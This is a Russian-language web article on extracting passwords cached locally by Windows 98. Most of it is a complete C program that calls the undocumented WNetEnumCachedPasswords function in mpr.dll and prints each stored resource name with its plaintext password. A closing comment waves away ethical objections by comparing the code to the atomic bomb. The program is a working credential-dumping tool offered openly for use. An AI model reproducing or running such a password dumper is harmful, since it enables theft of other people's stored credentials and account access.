Извлечение паролей

Пароли могут храниться локально, если такие у Вас есть, то мы можем воспользоваться этим и извлечь их. Опять могу сказать, что данный вопрос в MSDN практически не рассматривается. Функция упоминается, но параметры не приводятся.

#include "stdafx.h"
#include "windows.h"
#include "stdio.h"
#include "conio.h"

typedef struct tagPASSWORD_CACHE_ENTRY {
WORD cbEntry;// size of this entry, in bytes
WORD cbResource;// size of resource name, in bytes
WORD cbPassword;// size of password, in bytes
BYTE iEntry;// entry index
BYTE nType;// type of entry
BYTE abResource[1];// start of resource name
// password immediately follows resource name
} PASSWORD_CACHE_ENTRY;

char buf[1024], ob1[1024];

BOOL CALLBACK pce(PASSWORD_CACHE_ENTRY *x, DWORD)
{
memmove(buf, x->abResource, x->cbResource);
buf[x->cbResource] = 0;
CharToOem(buf, ob1);
printf("%s : ", ob1);

memmove(buf, x->abResource+x->cbResource, x->cbPassword);
buf[x->cbPassword] = 0;
CharToOem(buf, ob1);
printf("%s\n", ob1);

return TRUE;
}

void main()
{
HINSTANCE hi = LoadLibrary("mpr.dll");
if(!hi)
{
puts("Couldn't load mpr.dll");
return;
}
WORD (__stdcall *enp)(LPSTR, WORD, BYTE, void*, DWORD) =
(WORD (__stdcall *)(LPSTR, WORD, BYTE, void*, DWORD))GetProcAddress(hi, "WNetEnumCachedPasswords");
if(!enp)
{
puts("Couldn't import function");
return;
}
(*enp)(0, 0, 0xff, pce, 0);
getch();
FreeLibrary(hi);
}

От Артема: Там Bulat писал о том, что этично ли писать такие веши на сайт или нет. Можно мое мнение? Вопрос не в этичности. Вопрос в знании правды, а вот знать правду этично или нет, каждый решает сам. Мало кто ответит на такой простой вопрос - что лучше знать или нет, если девушка изменяет? Насчет того, что данными знаниями могут воспользоваться для нанесения вреда. Опять вопрос философский, есть много примеров из истории человечества, например атомная бомба, которая теперь является гарантом мира как ни странно. И еще я тут смотрю, как обесценивается с каждым днем понятие специалиста в области компьютеров. Человек только заставку научился менять на Windows, а уже и зарплату ему подавай побольше и все такое. Может подобные материалы заставят задуматься людей о уровне своей квалификации. О том, что та же Windows 98 хоть и не NT, но довольно сложная OS и за кнопкой ПУСК и рабочим столом есть еще что то.

 
« Предыдущая статья   Следующая статья »